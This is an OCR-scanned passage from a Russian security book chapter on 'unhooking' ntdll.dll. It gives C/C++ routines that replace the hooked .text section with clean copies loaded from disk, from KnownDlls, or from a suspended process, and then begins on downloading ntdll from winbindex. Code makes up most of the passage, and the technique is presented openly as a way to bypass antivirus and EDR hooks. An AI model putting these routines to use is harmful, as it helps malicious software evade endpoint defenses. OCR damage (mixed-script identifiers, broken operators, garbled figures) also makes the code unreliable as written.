Глава // 17. Познаем анхукинг ntd/1.d/l 317 Из ТЕВ получаем РЕВ РРЕВ реЬ = teЬ->ProcessEnvirorпnentBlock; // Голова списка - верхний элемент. Просто по нему будем отслеживать, пробежались ли NЫ по PLIST_ENТRY // listHead = всему списку или нет &peb->Ldr->InНemoryOrderМoduleList; Следупций за головой элемент PLIST_ENТRY listEntry = listHead->Flink; ULONG addr = ОХО; while (listEntry != listHead) ldrEntry PLDR_DATA_TAВLE_ENТRY = CONТAINING_RECORD(listEntry, LDR_DATA_TAВLE_ENТRY, InМeпюryOrderLinks); std::wstring dllName ldrEntry->FullDllName.Buffer; std::transform[dllName.Ьegin(), dllName.end(), dllName.begin(\, ::tolower); = if (dl1Name.find(L"c:\\windows\\system32\\ntdll.dll") != std::wstring::npos) return ldrEntry->DllБase; listEntry = listEntry->Flink; return (PVOID)addr; Осталось всего ничего - выIUiеняем адреса секций . text и заменяем одну секцию другой! Причем опять есть два варианта получения этой секции. Можем пойти че­ рез Optional Header (rМAGE_OPTIONAL_НEADER), внутри которого содержится RVA-aдpec секции . text, элемент вaseOfCode, либо через IМAGE_SECТION_НEADER, пытаясь обнаружить . text. секцию с именем PIМAGE DOS НEADER pLocalDosHdr = (PIМAGE_ DOS_НEADER)pLocalNtdll; if (pLocalDosHdr->e_rnagic 1 = IМAGE DOS SIGNATURE) return FALSE; PIМAGE NТ НEADERS = (PIМAGE pLocalNtHdrs pLocalDosHdr->e_lfanew); if (pLocalNtHdrs->Signature 1= IМAGE NТ SIGNATURE) return FALSE; NТ НEADERS) ((PBYТE)pLocalNtdll PVOID pLocalNtdllTxt = (PVOID) (pLocalNtHdrs->OptionalHeader.BaseOfCode + (ULONG_PTR)pLocalNtdll); SIZE TsNtdllTxtSize = pLocalNtHdrs->OptionalHeader.SizeOfCode; □ pLocalNtdll - базовый адрес ntdll. dll, полученный ранее; □ pLocalNtdll Txt - адрес секции □ sNtdllTxtSize - размер секции. . text; +
Часть 318 ///. Способы обхода средств защиты информации Fetct1LocalNtdllBaseAddress () ; pLocalDosHdr = (PIМAGE_DOS_HEADER)pLocalNtdll; if (pLocalDosHdr->e_rnagic != IМAGE DOS SIGNATURE) return FALSE; PVOI D pLocalNtdll PIМAGE_DOS_HEADER PIМAGE NT HEADERS pLocalNtHdrs = if (pLocalNtHdrs->Signature 1= return FALSE; (PIМAGE_NT_HEADERS) IМAGE_NT_SIGNATURE) PIМAGE_SECTION_HEADER pSectionНeader for (1nt i = О; i < ((PBYTE)pLocalNtdll + pLocalDosHdr->e lfanew); = IМAGE_FIRST_SECTION(pLocalNtHdrs); pLocalNtHdrs->FileHeader.NШ11ЬerOfSections; i++) { if( strcrnp{pSectionHeader[i]->Narne, ".text") == О) ) { PVOID pLocalNtdllTxt = (PVOID) ({ULONG_PTR)pLocalNtdll + pSectionHeader[i] .VirtualAddress); SIZE Т sNtdllTxtSize = pSectionНeader[i] .Misc.VirtualSize; break; Причем во втором варианте мы могли бы избежать использования функции strcrnp следующим условием: if ( (* (ULONG*)pSectionHeader[1] .Narne I Ох20202020) == 'xet. ') { Сначала выражение *(ULONG*) приводит к тому, что имя .text преобразуется в xet., т. к. младший байт будет прочитан первым и помещен в старшую позицию значе­ ния ULONG, а самый старший байт будет прочитан последним и помещен последним. Далее выполняется побитовое ИЛИ для выравнивания полученного значения по 32-битной границе. И наконец, происходит сравнение. Остается лишь перезаписать одну секцию . text другой. Для этого можно использо­ вать стандартный rnerncpy 1). Предлагаю также свести в отдельную функцию, которой достаточно лишь передачи базового адреса нехукнутой ntdll. В001 ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll /*адрес нехукнутой ntdll в па.~ти*/1 ( // Базовый адрес загрузки хукнутой ntdll.dll PVOID pLocalNtdll; pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress(); dos DOS HEADER pLocalDosHdr = {PIМAGE_DOS_HEADER)pLocalNtdll; 1f (pLocalDosHdr->e_rnagic 1 = IМAGE_DOS_SIGNATURE) return FALSE; // Получаем заголовок PIМAGE PIМAGE NT HEADERS pLocalNtHdrs (PIМAGE _NT_HEADERS) ( (РВУТЕ) pLocalNtdll + pLocalDosHdr->e lfanew);
Глава 17. Познаем анхукинг ntd/1.dll if (pLocalNtHdrs->Signature != return FALSE; IМAGE 319 NT SIGNATURE) PVOID pLocalNtdllTxt = NULL, // Адрес секции .text хукнутой pRernoteNtdllTxt = NULL; // Адрес секции .text анхукнутой либы SIZE Т sNtdllTxtSize = NULL; // Размер секции .text PIМAGE_SECTION_HEADER pSectionНeader for (int i = О; i < = либы IМAGE_FIRST_SECTION(pLocalNtHdrs); pLocalNtHdrs->FileHeader.NumЬerOfSections; / / if I strcrnp (pSectionНeader [i] . Narne, if ( (*(ULONG*)pSectionНeader[i] .Narne I 11 • text 11 ) == Ох20202020) i++) { О ) == 'xet. ') // Получаем адрес секции .text хукнутой ntdll.dll pLocalNtdllTxt = (PVOID) ((ULONG_PTR)pLocalNtdll + pSectionНeader[i] .VirtualAddress); #ifdef МАР NTDLL pRernoteNtdllTxt = (PVOID) ( (ULONG_PTR)plJnhookedNtdll + pSectionНeader[i] .VirtualAddress); #endif #ifdef READ NTDLL pRernoteNtdllTxt = (PVOID) ( (ULONG_PTR)pUnhookedNtdll + 1024); if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRernoteNtdllTxt) { pRernoteNtdllTxt = (PVOID) ((char*)pRernoteNtdllTxt + 3072); if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRernoteNtdllTxt) return FALSE; #endif sNtdllTxtSize = break; if ( 1pLocalNtdllTxt return FALSE; 11 pSectionНeader[i] !pRernoteNtdllTxt .Misc.VirtualSize; 11 !sNtdllTxtSize) DWORD dwOldProtection = NULL; if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) printf( [!] VirtualProtect [1] Failed With Error : %d \n GetLastError()); return FALSE; 11 11 ,
Часть 320 memcpy(pLocalNtdllТXt, pRemoteNtdllТXt, 111. Способы обхода средств защиты информации sNtdllTxtSize); if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) printf("[!] VirtualProtect (2) Failed With Error : ;d \n", GetLastError()); return FALSE; return ТRUE; Думаю, у вас появились вопросы по поводу следующего участка кода: if ((*(OLONG*)pSectionНeader[i].Name I Ох20202020) // Получаем адрес сеКЦl{И .text хукнутой ntdll.dll pLocalNtdllTxt = (PVOID) ( (OLONG_ РТR) pLocalNtdl 1 + lifdef 'xet. ') { = pSectionНeader [ i] . VirtualAddress); МАР NТDLL pRemoteNtdllTxt = (PVOID) ( (UWNG_PТR)pUnhookedNtdll + pSectionНeader[i] .Virtualдddress); lendif lifdef READ NТDLL pRemoteNtdllTxt = (PVOID) ((UWNG_PТR)pUnhookedNtdll + 1024); if (*(ULONG*)pLocalNtdllТXt != *(UWNG*)pRemoteNtdllTxt) { pRemoteNtdllTxt = (PVOID) ((char*)pRemoteNtdllTxt + 3072); if (*(UWNG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) return FALSE; lendif sNtdllTxtSize = break; pSectionНeader[i] .Misc.VirtualSize; Смещение секции тываем . text различается в зависимости от того, каким образом мы счи­ ntdll.dll с диска. Если мы считываем ее через createFileMapping(), то смеще­ ние всегда будет таким: pSectionНeader[i] .VirtualAddress Если же считывать через ReadFile(), то иногда выйдет 1024, а иногда 4096. закономерности не получилось, поэтому сначала мы добавляем смещение Найти 1024, проверяем, соответствуют ли байты по этому адресу байтам оригинальной, хукну­ той ntdll. Если не соответствуют, значит, оффсет поэтому добавляем 3072. 4096, но мы уже прибавили 1024, И вновь проводим проверку. В результате чего мы сможем без проблем заменить одну библиотеку другой, что позволит снять хук. Полный код - в моем репозитории МzНmO/aгticles/ЬloЬ/main/unhooking/FromDisk.cpp ). Есть (https://github.com/ похожая реализация (https://github.comffheDlrkМtr/ntdlll-unhooking-collection/tree/main/Ntdll%20
Глава 17. Познаем анхукинг 321 ntdll.d/1 U nhooking/1 %20-%20U nhooking%20NTDLL %20from %20disk) TheD 1rkМtr, ETW. он добавил еще и патч от Снятие хука через KnownDlls KnownDlls - специальный раздел в реестре, где содержатся DLL, которые загруз­ чик Windows использует для оптимизации процесса загрузки приложений. В Windows ХР и более ранних версиях каталог КnownDlls располагался в папке C:\Windows\Systern32. В более новых версиях Windows этот каталог встроен в ОС, по­ этому прямого доступа к нему нет. Список всех «известных» DLL можно найти вот в этом разделе реестра: НКEY_LOCAL_МACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\КnownDLLs Извлечь библиотеку возможно с помощью функции NtOpenSection (), по неизвестным причинам использование OpenFileMapping() приводит к ошибке ERROR_BAD_PATHNAМE. Про­ тотип у функции следующий. NTSTATUS NtOpenSection( SectionНandle, OUT PНANDLE IN ACCESS IN POBJECT ATTRIBUTES МАSК DesiredAccess, ObjectAttributes ); Обратите внимание на последний параметр - ObjectAttributes. Его нужно инициа­ лизировать с помощью функции Ini tializeObjectAttributes (). VOID InitializeObjectAttributes( AТTRIBUTES р, [out] POBJECT [ in] PUNICODE STRING n, [in] ULONG а, [in] НANDLE r, [in, optional] PSECURITY DESCRIPTOR s // NULL // NULL ); □ р- указатель на структуру OBJECT- ATTRIBUTES; □ n - указатель на структуру UNICODE_STRING, которая будет содержать имя ntdll.dll из Кnownoll; □ s- устанавливаем значение в овJ_ CASE _ INSENSIТIVE. L" \KnownDlls \ntdll. dll"; UNICODE _ STRING. Buf fer = ( PWSTR) UNICODE_STRING.Length = wcslen(L"\KnownDlls\ntdll.dll") UNICODE_STRING.MaxirnurnLength = UniStr.Length + * sizeof(WCНAR); sizeof(WCНAR); Теперь мы сможем без проблем передать инициализированный объект в функцию NtOpenSection (), а затем отразить ntdll. dll на адресное пространство текущего про­ цесса через ранее описанный MapViewOfFile (). Предлагаю вновь свести всё до функ­ ции, возвращающей адрес, по которому библиотека спроецирована в память.
Часть 322 111. Способы обхода средств защиты информации #include <winternl.h> #define NTDLL L"\\КnownDlls\\ntdll.dll" typedef NTSTATUS (NTAPI* fnNtOpenSection) ( PНANDLE SectionНandle, ACCESS МАSК POBJECT ATTRIBUTES DesiredAccess, ObjectAttributes ); ВOO1 MapNtdllFromКnownDlls(OUT PVOID* ppNtdllBuf) { hSection = NULL; pNtdllBuffer = NULL; STATUS = NULL; NTSTATUS UniStr = { О ); UNICODE STRING ObjAtr = { О ) ; OBJECT ATTRIBUTES НANDLE РВУТЕ UniStr.Buffer = (PWSTR)NTDLL; UniStr.Length = wcslen(NTDLL) * sizeof(WCНAR); UniStr.MaximumLength = UniStr.Length + sizeof(WCНAR); InitializeObjectAttributes(&ObjAtr, &UniStr, OBJ_CASE_INSENSITIVE, NULL, NULL); fnNtOpenSection pNtOpenSection = (fnNtOpenSection)GetProcAddress(GetModuleHandle(L"NTDLL"), "NtOpenSection"); STATUS = pNtOpenSection(&hSection, SECTION_МAP_READ, &ObjAtr); if (STATUS != ОхОО) { printf("[!] NtOpenSection Failed With Error : Ох%0.8Х \n", STATUS); goto _EndOfFunc; pNtdllBuffer = (PBYTE)MapViewOfFile(hSection, FILE_МAP_READ, NULL, NULL, NULL); if (pNtdllBuffer == NULL) ( printf (" [ ! ] MapViewOfFile Failed With Error : %d \n", GetLastError ()) ; goto _EndOfFunc; *ppNtdllBuf = pNtdllBuffer; EndOfFunc: if (hSection) CloseHandle(hSection); if (*ppNtdllBuf == NULL) return FALSE; else return TRUE;
Глава 17. Познаем анхукинг 323 ntdll.d/1 После получения адреса проверяем, что там действительно находится наша биб­ лиотека (рис. 17.8). Остается лишь так же грамотно распарсить РЕ и заменить одну секцию . text дру­ гой. Здесь все проще, чем при чтении с диска. Всегда будет одинаковое смещение, равное В001 4096. ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) { PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress(); DOS HEADER pLocalDosHdr = (PIМAGE_DOS_HEADER)pLocalNtdll; if (pLocalDosHdr && pLocalDosHdr->e_magic != IМAGE DOS SIGNATURE) return FALSE; PIМAGE PIМAGE NT HEADERS pLocalNtHdrs = if (pLocalNtHdrs->Signature != return FALSE; (PIМAGE_NT_HEADERS) ( (PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew); IМAGE_NT_SIGNATURE) pLocalNtdllTxt = NULL, PVCID pRemoteNtdllTxt = NULL; sNtdllTxtSize = NULL; SIZE Т PIМAGE_SECTION_HEADER pSectionНeader for (int i = О; i < = IМAGE_FIRST_SECTION(pLocalNtHdrs); pLocalNtHdrs->FileHeader.NumЬerOfSections; i++) { // if( strcmp(pSectionНeader[i] .Name, ".text") == О ) if 1(*(ULONG*)pSectionНeader[i) .Name I Ох20202020) == 'xet. ') { pLocalNtdllTxt = (PVOID) ((ULONG_PTR)pLocalNtdll + pSectionНeader[i) .VirtualAddress); pRemoteNtdllTxt = (PVOID) ((ULONG PTR)pUnhookedNtdll + pSectionНeader [i). VirtualAddress); sNtdllTxtSize = pSectionHeader[i] .Misc.VirtualSize; break; if 1 'pLocalNtdllTxt return FALSE; 11 pRemoteNtdllTxt 1 11 !sNtdllTxtSize) if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) return FALSE; DWORD dwOldProtection = NULL; if ( 1VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) printf("[') VirtualProtect [1) Failed With Error : %d \n", GetLastError());
324 Часть 111. Способы обхода средств защиты информации с: о ~ ф 11) с: ф а. о z + ~ ~~ 111 ::?i .., ф а. ф :т ф s :,: 111 1D о а. s ~ ф о а. с a:i ...,-.:,.; s 11.
Глава 17. Познаем анхукинг 325 ntdll.d/1 ~ ~ z ~ о ..J а. ij' С1) а. ~ о ,:: ~ s :,: nJ а. )( l oi ....,-.: u :s: о.
326 Часть 111. Способы обхода средств защиты информации ~ ~ ~ Е ~Q. ij' 8. :а: о r:::: ~ s :i:: ra Q. х ~ ....,-: .... С) c.i s а.
Глава 17. Познаем анхукинг ntd/1.d/1 327 (О со )( о:: i::; q ф :Е :Е "'е0 С1. i::: 1D ~ i::: (О со )( .......: ... ..: c.i s о.
328 Часть 111. Способы обхода средств защиты информации .., ~ <D со )( ('Q :,: ...s .а :,: С1) :!i cf ,:: "'u ... ::ii :!i С1) ('Q ,:: ::ii :!i <( ....,..:f'oi .... u s о.
Глава 17. Познаем анхукинг 329 ntd/1.dll return FALSE; memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize); if ( 1VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) printf("[ 1 ] VirtualProtect [2] Failed With Error : %d \n", GetLastError()); return FALSE; return TRUE; Код буквально скопирован из предыдущей части главы. Разве что теперь оффсет всегда один и тот же. Для чистоты эксперимента можем проверить, что действи­ тельно копируется одна секция Полный код я выложил на . text на другую (рис. GitHub: 17.9, 17.1 О). https://github.com/МzHmO/articles/ЫoЫ TheD 1rkMtr есть своя rkМtr/ntdlll-unhooking­ 1 heD b.comff https://githu метода: этого реализация collection/tree/main/N tdll%20U nhooking/2 %20-%20U nhooking%20NTD LL %20 from %20KnownDlls. main/unhooking/КnownDll.cpp. И опять же, у нашего друга Здесь есть одна особенность, о которой важно знать: вы должны использовать 64- битную программу на 64-битной системе. Если запускать программу для х86 на системе х86-64, то в процессе будет находиться ntdll.dll для х86, а из КnownDll при­ летит DLL для х86-64, что при перезаписи приведет к крашу (рис. 17.11, 17.12). Снятие хука через приостановленный процесс Любой процесс в Windows можно запустить в приостановленном состоянии. Для в функцию CreateProcess 1) флаг CREATE SUSPENDED либо DEBUG _PROCESS. Причем в таком состоянии в процесс будет подгружена только ntdll.dll (рис. 17.13). этого достаточно передать Затем, возобновляя основной поток процесса, например через ResumeThread (), подтя­ гиваем в него оставшиеся библиотеки (рис. 17 .14 ). Вы можете проверить это самостоятельно с помощью простого кода. #include <windows.h> #include <iostream> int main () { STARTUPINFO si; PROCESS_INFORМATION pi; ZeroMemory(&si, sizeof(si) ); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi) );
Часть 330 ///. Способы обхода средств защиты информации х То,о1$ 1--1~ v~ U\.efs - ·- Нirlp ~_,......., ~R,f,.,. О о,,,..,... , .,..,_.,оо, Рtос.,н, ~ ~ [м8{ ....__,..., MS&wd.tirt V v ■ ~. , ....о,,..,. 16772 1 Ш6 l'Qtepidot • Proceuti.ck:er.exe v ■ NYIOIA WеЬ Нei"pet'.exe ■ ,ooltosl.h, 1imox,e,кt firefoxne • firekж.e. W riretouw W firtfouп 17120 13004 816 13376 - ~ O P,U.!1 wtNPC\МКNC!t Dncnp<ЮII MICJOJOftEdg,eWtbY\fw2 о ......... Olt7fМ70it- OIOfNN170... SIJe OncnpCa&м 114 ltl . _ _, t,,1._ ~~NТ ,мс • r•. - е Git№ЬOнaop.exe 27,IS М8 - 12Ш • fire~ W flret~ Priv•W Ьу\6 l.llitt "8n'lt 9812 'l) firefouц v Ci) G<tНul>Desldc,o..,. r_ 176 8/S 9820 8272 6980 9720 107S2 <lli 16880 . ftrdoiц:мit 1/О ЮС. 7564 '4l8 W rlrefOUR 'l) flrtf°""" 'l) firef.,.... • n,.- О, 14 17SS6 "'91- о- • - CPV 1)088 - V V • PID ,.,,. 18048 fН72 - 14588 124'0 Ci) G/u.ьо.,ьс,р_.., 10420 ,aip.m, 17536 Рис. 17.13. Одна библиотека if (!CreateProcess(L"C : \\Windows\\System32\\notepad . exe" , NULL, NULL, NULL, FALSE , CREATE_SUSPENDED , NULL, NULL, &si, &pi) ) { std::cerr « "CreateProcess failed (" « GetLastError( ) « ").\ n"; return -1; std: :cout << "The process is created in suspended state. \n "; getchar(); if (ResumeThread(pi.hThread) == -1) ( std:: cerr « "ResumeThread failed (" « GetLastError () « ") . \n "; return -1;
V•n1 ТооЬ: •• ........ о- 2.oR Р1() CPU 1/0tot.i ,_ ~ t e t,w\a c::c:i x Userмme ... !<Ша 124-40 ,.,.. 13176 116 17820 0,С 1 - ~--- ~ ~ fdШ.dl ~ w i .... l mмп.118 Рис. 17.14. - .,_........, _ _ _ ___. ...,, Прно - ;i ..,__. _........, Подключение недостающих библиотек WllilldDwlffТ w..r... мscп: ~с~~ Шtl ''19.7МВ ~ ~ 128118 ~ МiO'..ift:~ ~ ~ - IIO'lldМIIL. ,Ndf,c8 ~ u ... ""-'-........,,..... ,._ '7'118 L,08 . . ~,._ ~ .. . ~ . . w..r---•WlllldoМ.- Ж118.....__......,........,__ n .. l,.OI" Q)IOlll:OU . . . ~ . . . . МО:Z№,- 1.n " cmo..ou. ..... , . . . . ~ ~ l l t .- ...,.....N'f.....,....._ W•Nic788aftc-..ur~ 1..18118 ~ IIIQМ.,,..,... CIOlfdМ180- ~ ~ 8IOllidtolt~ 811711WМe.tL. - eotfeм1L ~ '41:n181Dftc:oм.-м-... . . . Мk:rмDlt~DI 1.»• 1'08118СОМ•~ос-t sall8-.....~......__ . . . . p.,....... . . . . . . . . N'L_ ..... 1 ~ 1 ....... ~· ,,. .......,,.__ .., , ___ """'"""" ....... ......,~~"" __ 27,12 МВ WINPC\МiCNe ~ ~8"0'fN5e.1dt- ~ · ,.,. 1 ...... 6972 12852 1611111) 422-4 1940 101',! 9720 6980 8272 ,, 17S56 1)01111 15204 16524 61" S428 18048 11540 . _ . . , , , . ...,...._,Q.12G8(3<D4!<1 - - 1 7 9 е ...._ v8 8 -... 8 Gi- v·- v ■ NYIDIA--- r;i.......,.;;; - :,....,,..._ ....,....... v8 - . . , . . vu- 10,а ·._ --·- . ---- -- . -------. . , ·l ·.... ···-·- . J ........... ·- .... ·'--- ...... Р,,ос.м:м.s.,,м.. ~ • - -.. ou.s ~ _ , .........,. \Jtler1: Нktet Г-МНРС'-~tи~J• ~- • - Н1~(.мr Proc:ess Слрка С'Р1, а."61 ... 100!< W""'°"'(CRLf) 1/Тf-8 о х 1 ф )( ...... (А) (А) ~ % :::, (\) ::i: t: ~ ::i: Q) 3::: 1~ (А] о ::i :--, ...... Q) С\) Q) ;,
332 Часть 111. Способы обхода средств защиты информации getchar(); CloseHandle(pi.hProcess); CloseHandle(pi.hThread}; return О; В библиотеке ntdll.dll, которая находится в приостановленном процессе, могут от­ сутствовать хуки по той причине, что оставшиеся DLL, в том числе антивирусные, банально не подгрузились. Конечно, такое поведение встречается все реже и реже, но о нем не стоит забывать совсем. Поэтому остается лишь получить базовый адрес загрузки этой ntdll.dll, достать его, а затем скопировать секцию. text на гвоздка - для копирования секции ntdll .dll своего процесса. Единственная за­ . text требуется знать ее размер. Достать, ко­ нечно же, можно и через парсинг РЕ. Предлагаю свести всё до отдельной функции, которой нужно передать базовый адрес библиотеки, а она вернет ее размер. SIZE_T GetNtdllSizeFrornВaseAddress(IN РВУТЕ pNtdllModule} ( PIМAGE_OOS_НEADER pimgDosHdr = (PIМAGE_OOS_HEADER)pNtdllModule; if (pimgDosHdr->e_magic 1= IМAGE_OOS_SIGNATURE) return NULL; PIМAGE_NT_НEADERS pimgNtHdrs = (PIМAGE_NT_НEADERS) (pNtdllModule + pimgDosHdr->e_lfanew); if (pimgNtHdrs->Signature != IМAGE_NT_SIGNATURE) return NULL; return pimgNtHdrs->OptionalHeader.SizeOfimage; Остается всего ничего - прочитать память процесса, который мы запустили в при­ остановленном состоянии. Опять же реализуем отдельную функцию, которая вер­ нет адрес В001 ntdll. dll. ReadNtdllFromASuspendedProcess(IN LPCSTR lpProcessName, OUT PVOID* ppNtdllBuf) { СНАR cWinPath[МAX_PATH / 2] О СНАR cProcessPath[МAX РАТН] О ); ); PVOID pNtdllModule = FetchLocalNtdllBaseAddress(}; РВУТЕ pNtdllBuffer = NULL; SIZE Т sNtdllSize = NULL, sNшnЬerOfBytesRead = NULL; STARTUPINFOA PROCESS INFORМATION Si = { О ) ; Pi = { О ) ; RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO) ); RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORМATION) );
Глава 17. Познаем анхукинг 333 ntd/1.dll Si.cb = sizeof(STARTUPINFO); if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == О) printf (" [ 1 ] GetWindowsDirectoryA Failed Wi th Error : %d \n", GetLastError ()); goto _EndOfFunc; sprintf s(cProcessPath, sizeof(cProcessPath), "%s\\Systern32\\%s", cWinPath, lpProcessNarne) ; if ( 1CreateProcessA( NULL, cProcessPath, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &Si, &Pi)) printf("[ 1 ] CreateProcessA Failed with Error goto EndOfFunc; %d \n", GetLastError()); sNtdllSize = GetNtdllSizeFrornВaseAddress( (PBYTE)pNtdllModule); if ( ! sNtdllSize) goto _EndOfFunc; pNtdllBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sNtdllSize); if ( 1pNtdllBuffer) goto _EndOfFunc; if ( !ReadProcessMernory(Pi.hProcess, pNtdllModule, pNtdllBuffer, sNtdllSize, &sNurnЬerOfBytesRead) sNtdllSize) 11 sNurnЬerOfBytesRead 1= printf("[!] ReadProcessMernory Failed with Error : %d \n", GetLastError() ); printf("[i] Read %d of %d Bytes \n", sNurnЬerOfBytesRead, sNtdllSize); goto ~EndOfFunc; *ppNtdllBuf pNtdllBuffer; if (DebugActiveProcessStop(Pi.dwProcessid) && TerrninateProcess(Pi.hProcess, // Дополнительно здесь можно дернуть TerrninateProcess() EndOfFunc: if (Pi.hProcess) CloseHandle(Pi.hProcess); О)) (
334 Часть ///. Способы обхода средств защиты информации "'s :,: ... Q) J s t:; о :,: !;; Q) а. а. о "' ro "' а. Q) 111 о а. с ....lt) ........: cJ s: а.
Глава 17. Познаем анхукинг 335 ntdll.d/1 if (Pi. hThread ) CloseHandle( Pi.hThread); if (*ppNtdllBuf == NULL) return FALSE; else return TRUE; Оффсет в таком случае будет стандартный Как всегда, на GitHub 4096 - (рис . 17. l 5). можно посмотреть исходники моей реализации (https:// github.com/МzHmO/articles/ЫoЬ/main/unhooking/SuspendedProc.cpp) и реализа­ (https://github.comffheDlrkМtr/ntdlll-unhooking-collection/ TheD l rkMtr ции tree/main/N tdll %20U nhooking/3 %20-%20U nhooking%20NTD LL %20from %20 Suspended %20Process ). Снятие хука через подгрузку ntdll.dll с удаленного веб-сервера Думаю, это самый интересный способ . Он основан на том , что есть прекрасный сайт winbindex.m4 l 7z.com (https://winblndex.m417z.com/?file=ntdll.dll, рис. 17. 16), где приведены ссылки на nt dll. dll практически для любой версии • ' • i) • • i) ' • ' < • Windows. 1 .... J ·•1111 ntdll.dll - Winblndex NT Layer DLL entries Show 10 Updata ~ . 11 В1 Search: File arch . х64 Fil• varsion . 10.0.17763.4644 FI!. slza 1 1.91 мв КJi5.QZJill!! 10.0.17763.4644 х86 1.6 мв Extra Download 11111W 1·1111 V Рис. 17.16. Сайт с ntdll .dll
Часть 336 111. Способы обхода средств защиты информации Нам остается лишь разобраться, как генерируются ссылки. С ходу этого сделать не получилось. Предпоследняя часть волов не более чем непонятный набор сим­ URL - . .. . dll/283EB25Dlef000/ntdll .. . ... dll/54219Al0209000/ntdll .. . Вручную перебрав все ссылки с первой страницы (не на питоне же автоматизи­ ровать, в самом деле, мы ведь серьезные люди), заметил, что у двух ссылок есть повторяющиеся в конце шесть символов (рис. 17.17, 17.18) . . .. dll/2451EFDD1af000/ntdll .. . . .. dll/4028FADClaf000/ntdll .. . ' . (') . i1 . ' • • NT . .. Show 10 ...., ' ~ Windows • U~t• .. Windows 10 1809 кз=ш · 49feac._ Windows 10 1809 ~ c393d8..- Windows 11 21Н2 КВ5Ql72Э2 -43Ь4Sd. .. Windows 11 21Н2 ~~J f268f8,_ Windows c6d97 ../ Windows 11 Ь6f584_ Windows 1021Н2 (•]) КВSО2729Зt+1) Зб2d4f... Windows 1021Н2 (+t) ~ 215753_ Windows 11 1122Н2 .. / . ndows 11 SНA2S6 Dll entr~ 8f2ЬЮ.. Sa56Ь9 ~ 22Н2 22Н2 22Н2 Windows каsшzзш 1 f".&..-ch • "64 ... ... ... ... ... t+ 1) "64 ,•Jl х64 кv=wJ х64 = "64 = ......... Updot, rn.- 10.0.1776314644 1.91 10.0.17763.4644 1 .бМВ 10д220002124 2.03 мв 10.0.220(Х)..2124 1.6S MB 10.о.2262 1 . 1 928 2.07М8 1О.о.22621 . 1928 1.67 мв 10.0.19041.31S5 1.93М8 10.0.19041.3155 1.62 мв 10.Q.22621.1&48 2.07 мв 10.0.22621 . НИS 1 .67М8 Rlewnlon Rle..,_ 2 Pt'eVious • 17.17. В11 ....т FiieV8'StOn• Showing 1 to 10 of 437 entries Рис. ~ • • п Повторяющиеся символы 11111 мв 3 ---------------"""' Download 1118' """' 4 ' Download ... 1 Наученный горьким опытом решения стеганографического чуда на CTF, мой вос­ паленный мозг понимает, что это зацепка. Копируем эти символы и начинаем ис­ кать. Обнаруживаем интересную кнопку Show, которая позволяет получить больше информации о файле. Наш lafOOO нигде не встречается, но попробуем конвертиро­ вать из НЕХ в десятичное значение. И фортуна посмотрела в нашу сторону! Это оказался параметр virtualSize (рис. 17 .19). Вычленяем первую часть, также конвертируем ее в десятичное значение и узнаем, что это timestamp (рис. 17.20).
Глава 17. Познаем анхукинг 337 ntd/1.dll n n Show ,о SНA2S6 8f2Ьf0 __ ' . . '' . . NТl.ye,DU -- ◄ 9/,х.. Wlf'ldoм c393d8... Windows 11 ◄ ЗЬ45d. .. Windows = Q W ZZ9Zf•J) 11 2 1 Н2. Uli!IZZШ..(ill t2.68f&... Windows 11 22Н2 ICBS0273Q3 (+ 1\ c6cf97._ Windows 11 22Н2. ~ - - Wiodo!nJJUJ&WJ ~ 362:~f._ ~ ) iш=(tl) 215753-~ WU"ldows ., SНAZ5' - 1122Н2 Windows , , ... ... ... ... ... ... ... ... ... ... =ш 10 1809 21Н2 S.561>9.. ........ 11 и..-· " Wкdows1018QIJ u:i!IZШ.1 = 22Н2 ....... и..- -..... - ,.__,. ,, " 10.О. 1 7763А644 10..0. 1 776З ...ы4 10Jl22000.2124 мз ме 1.6SMB 10.D.2262.1.1928 z.он,в 10.D.2262:1.1928 1 .67МВ 10.0. 19041 .З t SS 1.fl M8 10.0.1904 1 .З t SS 1 .62 МВ tQ..0.22621.1848 2Л1 М 8 10.022621.1848 ,.__, . "'"""' . 17.18. 1 .6 МВ 10.0.22000.2124 Showing 1 to 10 of ◄ 37 entrм!S Рис. " 1.91М8 Повторяющиеся символы ..... 1.67 мв , ) ---------------..... ..... ◄ В1 s ◄◄ 2 • . .cllin.- Tyo,e• : )32 , •8d5• : "sha l" : •~892~c7•1!1lSЧb59<:~7«etl6})", " 6cS63c4.fic-dfd l 5l~IS8fd lи1" 92N661Ь8778", "s:ll"•tuгefypr" : "ОУ1!1гl ,1у •, "-'i&fllntO•te " : [ "2t2) · 86 · MTe2 : ... : M" ,. •~гstor, • : "le.t. 22621. 1&48 (V:lrt8uild . lИ181 . eeet )", "Yirtu•lS{ie• : - }. 11 .....,,,.,.. ..,,_.,_ ·•tndoof'SVl!lrslons· : f "11 - 12"2 " : { "-64 _•1c.-OЯ>ft ••indooos • ntdll_ 3 ........ . ..----=-------.... }. Рис. 17.19. Обнаружение смысла второй части Next
